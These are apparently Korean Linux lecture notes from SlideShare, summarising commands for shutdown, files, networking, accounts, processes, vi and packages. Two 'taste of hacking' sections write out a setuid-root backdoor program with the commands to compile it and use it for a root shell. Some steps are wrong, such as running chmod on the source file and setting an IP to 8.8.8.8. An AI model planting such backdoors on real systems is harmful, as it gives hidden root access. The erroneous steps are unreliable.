SlideShare a Scribd company logo
1 of 5
1 | P a g e
1. 종료
shutdownˇ–hˇnow↵ 컴퓨터 지금 끄기
shutdownˇ–hˇ+10↵ 10분 후 끄기
shutdownˇ–rˇnow↵ 지금 바로 껐다 켜기
shutdownˇ–rˇ+10↵ 10분 후 껐다 켜기
shutdownˇ+10↵ 10분후 끄기
shutdownˇ–c↵ 종료/재부팅 취소
<실습순서>
1. Ctrl+Alt+F2(첫화면)에서 명령어 입력
shutdownˇ–hˇ+100↵ : 100분 후 끄기
여기서 Ctrl+c로 취소가능.
2. Ctrl+Alt+F3(빈화면)에서 명령어 취소
Shutdownˇ–c↵
3. Ctrl+Alt+F2(첫화면)으로 돌아가서 확인
| (파이프) : 명령어 여러개 쓸때.
ex) 명령어 | 명령어↵ : 앞 프로그램의 결과를 뒤 프
로그램의 명령어로 전달
>:정상내용 저장 >> : 정상내용 추가
2>:오류내용 저장 2>>:오류내용 추가
ex) lsˇ-alˇ>ˇkkk↵ : 파일내역을 kkk로 저장
lsˇ-alˇ>>ˇkkk↵ : 내용 추가
cleˇ2>ˇabc↵
: cle(없는 명령어)오류내용을 abc로 저장
clear↵ : 화면지우기
↑ : 이전에 입력한 명령어 보여줌
Tap : 명령어,파일이름 자동완성
historyˇ|ˇmore↵ : 입력한 명령어 목록
!숫자↵ : 명령어목록 숫자에 해당하는 명령어 실행
2. Linux Command
- pwd : 현재 경로 보기(지금 내 위치) ex) pwd ↵
- cd : 이동하기
ex) cdˇ/tmp ↵ (절대경로) 상위폴더 아래 tmp폴더로 이동
cdˇ./../tmp ↵ (상대경로) 내 폴더에서 상위폴더로 가서 /tmp로
이동
※절대경로와 상대경로
-절대경로 : /(최상위)부터 시작
-상대경로 : . (내 위치)부터 시작 .. 은 상위 디렉토리
- ls : 파일 내역 보기
ex) ls↵ : 현재 위치 폴더의 파일 내역 보기
lsˇ-al ↵ : 자세히 보기(.숨김파일도 보여줌)
lsˇ-alˇ/root ↵ : /root의 파일 내역 자세히 보기
lsˇ--full-timeˇabc ↵: abc파일의 자세한 시간까지보기
- cat : 파일 내용 보기, 파일 만들기, 파일 내용 수정
ex) catˇ파일이름 ↵ : 파일(문서일 경우) 내용 보기
ex) catˇ>ˇ파일이름↵ : 새로운 파일 만들고 내용입력
내용입력후 Ctrl+d로 빠져나옴
cat ˇ>>ˇ파일이름 ↵ : 파일 내용 추가
내용입력후 Ctrl+d로 빠져나옴
-mkdir : 디렉토리 만들기 ex) mkdirˇ디렉토리 이름↵
-touch : 내용없는 파일 만들기, 파일 시간 변경하기
ex) touchˇ파일이름 ↵
ex) touchˇ-rˇabcˇbbc ↵
: abc파일과 같은 시간으로 bbc파일 시간 변경
ex) touchˇ-tˇ1409241134ˇabc ↵
: 14년09월24일11시34분으로 변경
Linux 명령어 요약
2 | P a g e
- cp : 파일이나 디렉토리 복사하기
ex) cpˇ/tmp/abcˇ/root/bbc↵ : /tmp의 abc파일을
/root에 bbc로(이름을 바꿔서)복사
※ 디렉토리 복사시엔 -rf 옵션 넣어줘야 함!
- mv : 파일 이동하기
ex) mvˇ/tmp/abcˇ/root/abc↵
: /tmp의 abc파일을 /root에 이동
※ cp와 mv의 차이
cp는 원본이 남고 사본이 또 생성 (명령 후 abc, bbc 두 개)
mv는 원본 자체가 이동되므로 이전의 폴더에 원본이 없음(abc)
- rm : 파일이나 디렉토리 삭제하기
ex) rmˇ-rfˇ파일이나 디렉토리 이름↵
rmˇ-rfˇ* ↵ : 현재 폴더 파일 모두 삭제
- head : 파일 내용 처음부터 10 줄 출력
ex) headˇ/etc/passwd↵
- tail : 파일 내용 마지막부터 10 줄 출력
ex) tailˇ/etc/passwd↵
- more : 파일 내용 화면단위로 출력
ex) ※ 화면에 무언가 보여주는 명령어 | more 로
주로 쓰임
catˇ/etc/passwdˇ|ˇmore↵
lsˇ-alˇ|ˇmore↵
findˇ|ˇmore↵
-Grep : 해당문자 포함된 내용 검색
ex) grepˇrootˇ/etc/passwd↵
: /etc/passwd에서 root가 있는 내용을 보여줌.
화면에 결과를 보여주는 명령어(cat,find 등)와 함께
catˇ/etc/passwdˇ|ˇgrepˇroot↵
- rdate : 시간 조회 및 시스템 시간 변경
ex) rdateˇ-pˇtime.bora.net↵
: kt가 운영하는 타임 서버 시간 조회
rdateˇ-sˇntp.ewha.net↵
: 이화여대의 타임서버 시간과 시스템 시간 동기화
- date : 내 컴퓨터의 시간 보는 명령어 ex) date↵
- tzselect : time zone select(VM ware 안에선 안됨)
※cpˇ/usr/share/zoneinfo/Asia/Seoulˇ/etc/localtime↵ 후
y↵ 로 설정.
-ln : 링크 파일
ex) lnˇ원본파일명ˇ하드링크파일명↵
lnˇabcˇhabc↵ : abc로 하드링크파일 habc생성
lnˇ-sˇ원본파일명ˇ심볼릭링크파일명
lnˇ-sˇabcˇsabc↵ : abc로 심볼릭링크파일 sabc생성
※하드링크
1. 하드링크는 원본내용이 수정되면 수정된 내용으로 업뎃
2. 원본이 지워져도 찾아갈 수 있음.
3.아무리 많이 만들어도 원본데이터는 1개일뿐
inode라는 끈만 많이 만들어냄
3 | P a g e
3. 시스템해킹에서 자주 쓰이는 명령어
- find : 파일 찾기
– name : 파일명으로 검색
ex) findˇ/ˇ-nameˇa* ↵
: 최상위부터 파일명이 a로 시작하는 모든 파일
※파일명 검색시 유의점
ab? : 한글자를 모를 경우
a? : a로 시작하는 두글자, 검색 안되면 ‘a?’
– user : 유저명으로 검색
ex) findˇ/ˇ-userˇid↵ : 최상위부터 id로 된 파일 검색.
– perm : 권한으로 검색
ex) findˇ/ˇ-permˇ777↵ : 권한이 777인 파일 검색
– size : 파일크기로 검색
<해킹 맛보기> cat 사용 Backdoor
1.catˇ>ˇback.c↵
#include <stdio.h>
int main()
{
setuid(0);
setgid(0);
system(“/bin/bash”);
} ctrl+d로 빠져나옴
2.gccˇ-oˇbackˇback.c↵ : 컴파일
3.chmodˇ4777ˇback.c↵ : 권한변경
4.useraddˇhacker↵ : id추가
paswdˇhacker↵ : password설정
5.exit↵ : 종료 후 haker로 로그인
6.cdˇ/tmp↵ : /tmp폴더로 이동 후
7. ./back : 현재 위치에서 back실행
->$가 #로 바뀜.(hacker가 root가 됨)
4. 네트워크 상 명령어
- ping : 인터넷이 되는지 확인
ex) pingˇ8.8.8.8↵ : 구글에 신호를 보내 돌아오는지
확인.
– ifconfig : 네트워크 IP 설정
ex) ifconfig↵ : eth0의 inet addr에서 ip주소 확인.
ifconfigˇeth0ˇdown↵ : 인터넷 사용X
ifconfigˇeth0ˇ8.8.8.8ˇnetmaskˇ255.255.255.0ˇup↵ :사용
– route : 게이트웨이 설정
ex) route ↵ : default 옆 게이트웨이 값보기
routeˇdelˇdefaultˇgwˇ게이트웨이값↵ : 삭제
routeˇaddˇdefaultˇgwˇ게이트웨이값↵ :추가
– dhclient : 공유기에서 ip주소를 받아와 자동설정
※인터넷 안 될때(자동설정 후에도 안되면,)
1. killallˇdhclient↵ : 자동설정 끄기
2. dhclient ↵ : 다시 자동설정
<실습순서>
1. pingˇ8.8.8.8↵ : 구글로 신호 보냄
2. dhclient↵ : 공유기에서 ip주소 받아 자동설정
3. ifconfig↵ : IP주소 확인
4. ifconfigˇeth0ˇ8.8.8.8ˇnetmaskˇ255.255.255.0ˇup↵
ip주소를 8.8.8.8로, netmask를 255.255.255.0으로 설정
(인터넷이 되려면 ip주소는 ifconfig에서 확인한 eth0의 값으
로해야함)
4 | P a g e
5. 고급명령어
-useradd : 계정 생성
ex) useraddˇ계정명↵
useraddˇ-uˇ2000ˇ-gˇanimalˇmonkey↵
: uid는 2000, 그룹은 animal인 monkey계정 생성
-passwd : 패스워드 변경
ex) passwdˇ계정명↵ : 계정의 패스워드 변경(root만)
passwd↵ : 자신의 패스워드 변경
-usermod : 계정수정
ex) usermodˇ-uˇ1000ˇcat↵
: cat계정의 UID를 1000번으로 변경
usermodˇ-gˇdogˇcat↵
: cat계정을 dog그룹으로 변경
※groupˇid↵ : id가 어느 그룹에 속해있는지 확인
-userdel : 계정삭제
ex) userdelˇ-rfˇcat↵
※-rf옵션을 써야 깔끔하게 삭제
root만 가능!
-chmod : 파일 권한변경
ex) chmodˇ777ˇcat↵
:cat파일을 읽고 쓰고 실행 가능하게 변경
-chown : 파일 소유권 변경
ex) chownˇ소유자.소유그룹ˇ파일명↵
:소유그룹이름앞에 . 조심!
-su : 다른 사용자의 권한 빌림
ex) suˇid↵ : 권한만 빌림, 환경변수는X
suˇ-ˇid↵ : 환경변수까지 가져와 사용
6. process management
<실습순서>
1. pingˇ8.8.8.8↵ : ping작업 실행
2. ctrl+z : 정지
3. jobs↵ : 백그라운드 작업 보기
[ ]안의 숫자가 작업번호
fgˇ%작업번호↵ : 작업 다시 포그라운드로 실행
ctrl+z : 정지
4. ps↵ : 현 프로세스 조회
ex) psˇ-ef↵ : 간단히 살펴볼때
psˇ-aux↵ : 자세히 살펴볼때
프로세스의 PID 번호 확인
psˇ-auxˇ|ˇgrepˇping↵ : ping의 PID확인
5. killˇ-9ˇPID번호↵ : 해당 PID의 프로세스 종료
※ping을 실행하며 종료확인(종료실습과 비슷)
순서는 1->ctrl+alt+F3->4->5->ctrl+alt+F2
-CPU 정보
uname↵ : Linux가 나옴
unameˇ-p↵ : i686은 펜티엄4
unameˇ-a↵ : 커널의 버전 확인
-메모리 정보
freeˇ-m↵:MB단위로 바꿔서 보여줌
-프로세스 정보
pstree↵ : 각 프로세스의 부모자식 관계도
-프로세스별 CPU와 메모리 점유율
top↵ : 점유율 큰 순으로 상위에 보여줌
-시스템에 연결된 정보
netstat↵
netstatˇ-ntlp↵
-최근 시스템 접속 정보
last↵ : 누가 내 컴퓨터에 들어와서 서비스를 받았는지 확인
5 | P a g e
7.vi editor
- viˇ파일명↵ : 파일이 존재하면 명령모드로 열고
존재하지 않으면 새로 만들어 명령모드로 실행
- i : 입력모드로 변경
입력모드 안-------------------------------------------
- x : 커서 위치 문자 삭제
- dd : 현재 커서 행 삭제(2줄 삭제 2dd)
- yy : 현재 커서 라인 복사(2줄 복사 2yy)
- p : 복사한 내용 붙여넣기
- u : 되돌리기
- esc : 명령모드로
명령모드 안------------------------------------------
-:q↵ : 종료(무변경)
-:q!↵ : 강제종료(무변경)
-:w↵ : 저장
-:wq↵ :파일 저장 후 종료
실행모드 안-------------------------------------------
-:!↵ : 커서 위치에서 입력 모드 변경(!는 강제성 지님)
ex) : !ˇlsˇ-al↵ : vi실행 중 종료하지 않고 명령어 실행.
명령어 실행 후 엔터치면 다시 vi로 돌아옴
<해킹 맛보기> vi 사용 Backdoor
1.viˇbackdoor.c↵
#include <stdio.h>
int main()
{
setuid(0);
setgid(0);
system(“/bin/bash”);
}
esc키 누르고 명령어모드에서 :wq↵ 로 저장하고 빠져나옴
2.gccˇ-oˇbackdoorˇbackdoor.c↵ : 컴파일
3.chmodˇ4777ˇback.c↵ : 권한변경
4.suˇhacker↵ : id잠깐 빌림
root사용자는 다른 사용자 권한 빌릴때 pw안물
5.cdˇ/tmp↵ : /tmp폴더로 이동 후
6. ./backdoor : 현재 위치에서 backdoor실행
->$가 #로 바뀜.(hacker가 root가 됨)
7. exit↵ : 첫번째 exit는 backdoor 종료. exit↵ :두번째는 su종료
8. 환경변수 등
cdˇ/etc/skel/↵ : 기본적인 환경 setting 보여줌
-alias : 별명.(로그아웃시 모두 삭제됨)
ex) aliasˇzz='ls -l'↵ : 명령어에 별명 zz를 달아 zz입
력시 ls –l의 결과값을 보여주도록 함.
-PATH : 리눅스에서 어떤 파일 실행하려고 할 때, 해
당 디렉토리에 들어가서 실행해야 하지만, 해당 디렉
토리를 PATH로 지정하게 되면 어디서나 그 디렉토리
파일을 실행할 수 있다.
ex) echoˇ$PATH↵ : PATH에 등록된 경로들을 : 으로 구분
해서 보여줌
PATH=$PATH:/tmp↵ :/tmp를 PATH에 추가
※로그아웃시 모두 삭제 되므로
전체 사용자에게 추가 : /etc/profile 편집
특정 사용자에게 추가 : ~/.bash_profile
-echo :뭔가를 보여주는(출력) 명령어
ex) echoˇSHELL↵ : SHELL(문자열) 출력
echoˇ$SHELL↵ : SHELL이라는 변수에 담긴 값을 출력,
/bin/bash가 출력됨. (cat으로 문서내용보는것 연상)
echoˇ$?↵ : 명령어 입력후 echoˇ$?↵로 사용한 명령어가
제대로 작동 되었는지 확인할 수 있음. 0출력시 정상.
echoˇ$LANG↵ : en_US.UTF-8 환경변수 언어 보여줌
LANG=KO↵ :KO로 변경, 안되면 exportˇLANG=KO↵
9. Package Install 등
rpmˇ-qaˇ패키지이름↵ : 패키지가 설치되었는지 확인
패키지이름을 다 모를경우 좀 적고 뒤에 *처리
yumˇ-yˇinstallˇ패키지이름↵ : 패키지를 인터넷을 통하여
자동 설치. –y는 모두 ‘예’ 자동으로 누르겠다는
yumˇserchˇ패키지이름↵ : 패키지 검색
ex) yumˇserchˇhttpd↵ : httpd 패키지 검색

More Related Content

What's hot

망고100 보드로 놀아보자 3
망고100 보드로 놀아보자 3망고100 보드로 놀아보자 3
망고100 보드로 놀아보자 3종인 전
 
cross compile
cross compilecross compile
cross compilehe4722
 
도커 없이 컨테이너 만들기 3편
도커 없이 컨테이너 만들기 3편도커 없이 컨테이너 만들기 3편
도커 없이 컨테이너 만들기 3편Sam Kim
 
3 1. preprocessor, math, stdlib
3 1. preprocessor, math, stdlib3 1. preprocessor, math, stdlib
3 1. preprocessor, math, stdlib웅식 전
 
우분투 커널 컴파일
우분투 커널 컴파일우분투 커널 컴파일
우분투 커널 컴파일he4722
 
Learning Node Book, Chapter 5
Learning Node Book, Chapter 5Learning Node Book, Chapter 5
Learning Node Book, Chapter 5Ji Hun Kim
 
카산드라를 설치해서 테스트 해보자 with virtualbox
카산드라를 설치해서 테스트 해보자 with virtualbox카산드라를 설치해서 테스트 해보자 with virtualbox
카산드라를 설치해서 테스트 해보자 with virtualbox떠리 이
 
BSides Delhi CTF 2018 [Never Too Late Mister (Forensics 200pts)] WriteUp
BSides Delhi CTF 2018 [Never Too Late Mister (Forensics 200pts)] WriteUpBSides Delhi CTF 2018 [Never Too Late Mister (Forensics 200pts)] WriteUp
BSides Delhi CTF 2018 [Never Too Late Mister (Forensics 200pts)] WriteUpSehan Lee
 
Net work study
Net work studyNet work study
Net work study경 송
 
파이썬 웹프로그래밍 1탄
파이썬 웹프로그래밍 1탄 파이썬 웹프로그래밍 1탄
파이썬 웹프로그래밍 1탄 SeongHyun Ahn
 
7급 공무원도 쉽게 따라하는 쉘 스크립트
7급 공무원도 쉽게 따라하는 쉘 스크립트7급 공무원도 쉽게 따라하는 쉘 스크립트
7급 공무원도 쉽게 따라하는 쉘 스크립트Young-Ho Cha
 
3.ubuntu custom
3.ubuntu custom3.ubuntu custom
3.ubuntu customsprdd
 
파이썬 데이터베이스 연결 1탄
파이썬 데이터베이스 연결 1탄파이썬 데이터베이스 연결 1탄
파이썬 데이터베이스 연결 1탄SeongHyun Ahn
 
[강릉원주대 대기환경과학과] 대기과학전산입문 설명서
[강릉원주대 대기환경과학과] 대기과학전산입문 설명서[강릉원주대 대기환경과학과] 대기과학전산입문 설명서
[강릉원주대 대기환경과학과] 대기과학전산입문 설명서Lee Sang-Ho
 
파이썬 데이터베이스 연결 2탄
파이썬 데이터베이스 연결 2탄파이썬 데이터베이스 연결 2탄
파이썬 데이터베이스 연결 2탄SeongHyun Ahn
 

What's hot (20)

Docker설치
Docker설치Docker설치
Docker설치
 
망고100 보드로 놀아보자 3
망고100 보드로 놀아보자 3망고100 보드로 놀아보자 3
망고100 보드로 놀아보자 3
 
cross compile
cross compilecross compile
cross compile
 
도커 없이 컨테이너 만들기 3편
도커 없이 컨테이너 만들기 3편도커 없이 컨테이너 만들기 3편
도커 없이 컨테이너 만들기 3편
 
3 1. preprocessor, math, stdlib
3 1. preprocessor, math, stdlib3 1. preprocessor, math, stdlib
3 1. preprocessor, math, stdlib
 
우분투 커널 컴파일
우분투 커널 컴파일우분투 커널 컴파일
우분투 커널 컴파일
 
skku cp2 w4
skku cp2 w4skku cp2 w4
skku cp2 w4
 
Learning Node Book, Chapter 5
Learning Node Book, Chapter 5Learning Node Book, Chapter 5
Learning Node Book, Chapter 5
 
카산드라를 설치해서 테스트 해보자 with virtualbox
카산드라를 설치해서 테스트 해보자 with virtualbox카산드라를 설치해서 테스트 해보자 with virtualbox
카산드라를 설치해서 테스트 해보자 with virtualbox
 
BSides Delhi CTF 2018 [Never Too Late Mister (Forensics 200pts)] WriteUp
BSides Delhi CTF 2018 [Never Too Late Mister (Forensics 200pts)] WriteUpBSides Delhi CTF 2018 [Never Too Late Mister (Forensics 200pts)] WriteUp
BSides Delhi CTF 2018 [Never Too Late Mister (Forensics 200pts)] WriteUp
 
shell and process
shell and processshell and process
shell and process
 
Net work study
Net work studyNet work study
Net work study
 
Node.js at OKJSP
Node.js at OKJSPNode.js at OKJSP
Node.js at OKJSP
 
파이썬 웹프로그래밍 1탄
파이썬 웹프로그래밍 1탄 파이썬 웹프로그래밍 1탄
파이썬 웹프로그래밍 1탄
 
7급 공무원도 쉽게 따라하는 쉘 스크립트
7급 공무원도 쉽게 따라하는 쉘 스크립트7급 공무원도 쉽게 따라하는 쉘 스크립트
7급 공무원도 쉽게 따라하는 쉘 스크립트
 
3.ubuntu custom
3.ubuntu custom3.ubuntu custom
3.ubuntu custom
 
파이썬 데이터베이스 연결 1탄
파이썬 데이터베이스 연결 1탄파이썬 데이터베이스 연결 1탄
파이썬 데이터베이스 연결 1탄
 
[강릉원주대 대기환경과학과] 대기과학전산입문 설명서
[강릉원주대 대기환경과학과] 대기과학전산입문 설명서[강릉원주대 대기환경과학과] 대기과학전산입문 설명서
[강릉원주대 대기환경과학과] 대기과학전산입문 설명서
 
파이썬 데이터베이스 연결 2탄
파이썬 데이터베이스 연결 2탄파이썬 데이터베이스 연결 2탄
파이썬 데이터베이스 연결 2탄
 
Linux tutorial
Linux tutorialLinux tutorial
Linux tutorial
 

Similar to Linux+정리

ITs 2주차_기본명령어(발표)
ITs 2주차_기본명령어(발표)ITs 2주차_기본명령어(발표)
ITs 2주차_기본명령어(발표)Chulgyu Shin
 
IoT with Raspberry Pi + Node JS - Chapter 1
IoT with Raspberry Pi + Node JS - Chapter 1IoT with Raspberry Pi + Node JS - Chapter 1
IoT with Raspberry Pi + Node JS - Chapter 1Park Jonggun
 
파이썬 스터디 15장
파이썬 스터디 15장파이썬 스터디 15장
파이썬 스터디 15장SeongHyun Ahn
 
도커 없이 컨테이너 만들기 2편
도커 없이 컨테이너 만들기 2편도커 없이 컨테이너 만들기 2편
도커 없이 컨테이너 만들기 2편Sam Kim
 
박진호 - 우분투 부팅 과정에 대한 이야기 (2012Y07M28D)
박진호 - 우분투 부팅 과정에 대한 이야기 (2012Y07M28D)박진호 - 우분투 부팅 과정에 대한 이야기 (2012Y07M28D)
박진호 - 우분투 부팅 과정에 대한 이야기 (2012Y07M28D)Ubuntu Korea Community
 
[NDC16] Effective Git
[NDC16] Effective Git[NDC16] Effective Git
[NDC16] Effective GitChanwoong Kim
 
왜 쿠버네티스는 systemd로 cgroup을 관리하려고 할까요
왜 쿠버네티스는 systemd로 cgroup을 관리하려고 할까요왜 쿠버네티스는 systemd로 cgroup을 관리하려고 할까요
왜 쿠버네티스는 systemd로 cgroup을 관리하려고 할까요Jo Hoon
 
Nginx basic configurations
Nginx basic configurationsNginx basic configurations
Nginx basic configurationsJohn Kim
 
파이썬2.7 기초 공부한 것 정리
파이썬2.7 기초 공부한 것 정리파이썬2.7 기초 공부한 것 정리
파이썬2.7 기초 공부한 것 정리Booseol Shin
 
Confd, systemd, fleet을 이용한 어플리케이션 배포 in CoreOS
Confd, systemd, fleet을 이용한 어플리케이션 배포 in CoreOSConfd, systemd, fleet을 이용한 어플리케이션 배포 in CoreOS
Confd, systemd, fleet을 이용한 어플리케이션 배포 in CoreOS충섭 김
 
강분도 - 나만의 우분투 배포판 만들기 (2011Y06M25D)
강분도 - 나만의 우분투 배포판 만들기 (2011Y06M25D)강분도 - 나만의 우분투 배포판 만들기 (2011Y06M25D)
강분도 - 나만의 우분투 배포판 만들기 (2011Y06M25D)Ubuntu Korea Community
 
20141029 하둡2.5와 hive설치 및 예제
20141029 하둡2.5와 hive설치 및 예제20141029 하둡2.5와 hive설치 및 예제
20141029 하둡2.5와 hive설치 및 예제Tae Young Lee
 
Vim for php
Vim for phpVim for php
Vim for phpSol Kim
 
Multi mechanize
Multi mechanizeMulti mechanize
Multi mechanizeSungMin OH
 
제 10회 엑셈 수요 세미나 자료 연구컨텐츠팀
제 10회 엑셈 수요 세미나 자료 연구컨텐츠팀제 10회 엑셈 수요 세미나 자료 연구컨텐츠팀
제 10회 엑셈 수요 세미나 자료 연구컨텐츠팀EXEM
 

Similar to Linux+정리 (20)

ITs 2주차_기본명령어(발표)
ITs 2주차_기본명령어(발표)ITs 2주차_기본명령어(발표)
ITs 2주차_기본명령어(발표)
 
IoT with Raspberry Pi + Node JS - Chapter 1
IoT with Raspberry Pi + Node JS - Chapter 1IoT with Raspberry Pi + Node JS - Chapter 1
IoT with Raspberry Pi + Node JS - Chapter 1
 
Basic git-commands
Basic git-commandsBasic git-commands
Basic git-commands
 
파이썬 스터디 15장
파이썬 스터디 15장파이썬 스터디 15장
파이썬 스터디 15장
 
도커 없이 컨테이너 만들기 2편
도커 없이 컨테이너 만들기 2편도커 없이 컨테이너 만들기 2편
도커 없이 컨테이너 만들기 2편
 
git-basic-commands
git-basic-commandsgit-basic-commands
git-basic-commands
 
Network researching
Network researchingNetwork researching
Network researching
 
Git 코드랩 스터디 2
Git 코드랩 스터디 2Git 코드랩 스터디 2
Git 코드랩 스터디 2
 
박진호 - 우분투 부팅 과정에 대한 이야기 (2012Y07M28D)
박진호 - 우분투 부팅 과정에 대한 이야기 (2012Y07M28D)박진호 - 우분투 부팅 과정에 대한 이야기 (2012Y07M28D)
박진호 - 우분투 부팅 과정에 대한 이야기 (2012Y07M28D)
 
[NDC16] Effective Git
[NDC16] Effective Git[NDC16] Effective Git
[NDC16] Effective Git
 
왜 쿠버네티스는 systemd로 cgroup을 관리하려고 할까요
왜 쿠버네티스는 systemd로 cgroup을 관리하려고 할까요왜 쿠버네티스는 systemd로 cgroup을 관리하려고 할까요
왜 쿠버네티스는 systemd로 cgroup을 관리하려고 할까요
 
Nginx basic configurations
Nginx basic configurationsNginx basic configurations
Nginx basic configurations
 
파이썬2.7 기초 공부한 것 정리
파이썬2.7 기초 공부한 것 정리파이썬2.7 기초 공부한 것 정리
파이썬2.7 기초 공부한 것 정리
 
Confd, systemd, fleet을 이용한 어플리케이션 배포 in CoreOS
Confd, systemd, fleet을 이용한 어플리케이션 배포 in CoreOSConfd, systemd, fleet을 이용한 어플리케이션 배포 in CoreOS
Confd, systemd, fleet을 이용한 어플리케이션 배포 in CoreOS
 
Kafka slideshare
Kafka   slideshareKafka   slideshare
Kafka slideshare
 
강분도 - 나만의 우분투 배포판 만들기 (2011Y06M25D)
강분도 - 나만의 우분투 배포판 만들기 (2011Y06M25D)강분도 - 나만의 우분투 배포판 만들기 (2011Y06M25D)
강분도 - 나만의 우분투 배포판 만들기 (2011Y06M25D)
 
20141029 하둡2.5와 hive설치 및 예제
20141029 하둡2.5와 hive설치 및 예제20141029 하둡2.5와 hive설치 및 예제
20141029 하둡2.5와 hive설치 및 예제
 
Vim for php
Vim for phpVim for php
Vim for php
 
Multi mechanize
Multi mechanizeMulti mechanize
Multi mechanize
 
제 10회 엑셈 수요 세미나 자료 연구컨텐츠팀
제 10회 엑셈 수요 세미나 자료 연구컨텐츠팀제 10회 엑셈 수요 세미나 자료 연구컨텐츠팀
제 10회 엑셈 수요 세미나 자료 연구컨텐츠팀
 

Linux+정리

  • 1. 1 | P a g e 1. 종료 shutdownˇ–hˇnow↵ 컴퓨터 지금 끄기 shutdownˇ–hˇ+10↵ 10분 후 끄기 shutdownˇ–rˇnow↵ 지금 바로 껐다 켜기 shutdownˇ–rˇ+10↵ 10분 후 껐다 켜기 shutdownˇ+10↵ 10분후 끄기 shutdownˇ–c↵ 종료/재부팅 취소 <실습순서> 1. Ctrl+Alt+F2(첫화면)에서 명령어 입력 shutdownˇ–hˇ+100↵ : 100분 후 끄기 여기서 Ctrl+c로 취소가능. 2. Ctrl+Alt+F3(빈화면)에서 명령어 취소 Shutdownˇ–c↵ 3. Ctrl+Alt+F2(첫화면)으로 돌아가서 확인 | (파이프) : 명령어 여러개 쓸때. ex) 명령어 | 명령어↵ : 앞 프로그램의 결과를 뒤 프 로그램의 명령어로 전달 >:정상내용 저장 >> : 정상내용 추가 2>:오류내용 저장 2>>:오류내용 추가 ex) lsˇ-alˇ>ˇkkk↵ : 파일내역을 kkk로 저장 lsˇ-alˇ>>ˇkkk↵ : 내용 추가 cleˇ2>ˇabc↵ : cle(없는 명령어)오류내용을 abc로 저장 clear↵ : 화면지우기 ↑ : 이전에 입력한 명령어 보여줌 Tap : 명령어,파일이름 자동완성 historyˇ|ˇmore↵ : 입력한 명령어 목록 !숫자↵ : 명령어목록 숫자에 해당하는 명령어 실행 2. Linux Command - pwd : 현재 경로 보기(지금 내 위치) ex) pwd ↵ - cd : 이동하기 ex) cdˇ/tmp ↵ (절대경로) 상위폴더 아래 tmp폴더로 이동 cdˇ./../tmp ↵ (상대경로) 내 폴더에서 상위폴더로 가서 /tmp로 이동 ※절대경로와 상대경로 -절대경로 : /(최상위)부터 시작 -상대경로 : . (내 위치)부터 시작 .. 은 상위 디렉토리 - ls : 파일 내역 보기 ex) ls↵ : 현재 위치 폴더의 파일 내역 보기 lsˇ-al ↵ : 자세히 보기(.숨김파일도 보여줌) lsˇ-alˇ/root ↵ : /root의 파일 내역 자세히 보기 lsˇ--full-timeˇabc ↵: abc파일의 자세한 시간까지보기 - cat : 파일 내용 보기, 파일 만들기, 파일 내용 수정 ex) catˇ파일이름 ↵ : 파일(문서일 경우) 내용 보기 ex) catˇ>ˇ파일이름↵ : 새로운 파일 만들고 내용입력 내용입력후 Ctrl+d로 빠져나옴 cat ˇ>>ˇ파일이름 ↵ : 파일 내용 추가 내용입력후 Ctrl+d로 빠져나옴 -mkdir : 디렉토리 만들기 ex) mkdirˇ디렉토리 이름↵ -touch : 내용없는 파일 만들기, 파일 시간 변경하기 ex) touchˇ파일이름 ↵ ex) touchˇ-rˇabcˇbbc ↵ : abc파일과 같은 시간으로 bbc파일 시간 변경 ex) touchˇ-tˇ1409241134ˇabc ↵ : 14년09월24일11시34분으로 변경 Linux 명령어 요약
  • 2. 2 | P a g e - cp : 파일이나 디렉토리 복사하기 ex) cpˇ/tmp/abcˇ/root/bbc↵ : /tmp의 abc파일을 /root에 bbc로(이름을 바꿔서)복사 ※ 디렉토리 복사시엔 -rf 옵션 넣어줘야 함! - mv : 파일 이동하기 ex) mvˇ/tmp/abcˇ/root/abc↵ : /tmp의 abc파일을 /root에 이동 ※ cp와 mv의 차이 cp는 원본이 남고 사본이 또 생성 (명령 후 abc, bbc 두 개) mv는 원본 자체가 이동되므로 이전의 폴더에 원본이 없음(abc) - rm : 파일이나 디렉토리 삭제하기 ex) rmˇ-rfˇ파일이나 디렉토리 이름↵ rmˇ-rfˇ* ↵ : 현재 폴더 파일 모두 삭제 - head : 파일 내용 처음부터 10 줄 출력 ex) headˇ/etc/passwd↵ - tail : 파일 내용 마지막부터 10 줄 출력 ex) tailˇ/etc/passwd↵ - more : 파일 내용 화면단위로 출력 ex) ※ 화면에 무언가 보여주는 명령어 | more 로 주로 쓰임 catˇ/etc/passwdˇ|ˇmore↵ lsˇ-alˇ|ˇmore↵ findˇ|ˇmore↵ -Grep : 해당문자 포함된 내용 검색 ex) grepˇrootˇ/etc/passwd↵ : /etc/passwd에서 root가 있는 내용을 보여줌. 화면에 결과를 보여주는 명령어(cat,find 등)와 함께 catˇ/etc/passwdˇ|ˇgrepˇroot↵ - rdate : 시간 조회 및 시스템 시간 변경 ex) rdateˇ-pˇtime.bora.net↵ : kt가 운영하는 타임 서버 시간 조회 rdateˇ-sˇntp.ewha.net↵ : 이화여대의 타임서버 시간과 시스템 시간 동기화 - date : 내 컴퓨터의 시간 보는 명령어 ex) date↵ - tzselect : time zone select(VM ware 안에선 안됨) ※cpˇ/usr/share/zoneinfo/Asia/Seoulˇ/etc/localtime↵ 후 y↵ 로 설정. -ln : 링크 파일 ex) lnˇ원본파일명ˇ하드링크파일명↵ lnˇabcˇhabc↵ : abc로 하드링크파일 habc생성 lnˇ-sˇ원본파일명ˇ심볼릭링크파일명 lnˇ-sˇabcˇsabc↵ : abc로 심볼릭링크파일 sabc생성 ※하드링크 1. 하드링크는 원본내용이 수정되면 수정된 내용으로 업뎃 2. 원본이 지워져도 찾아갈 수 있음. 3.아무리 많이 만들어도 원본데이터는 1개일뿐 inode라는 끈만 많이 만들어냄
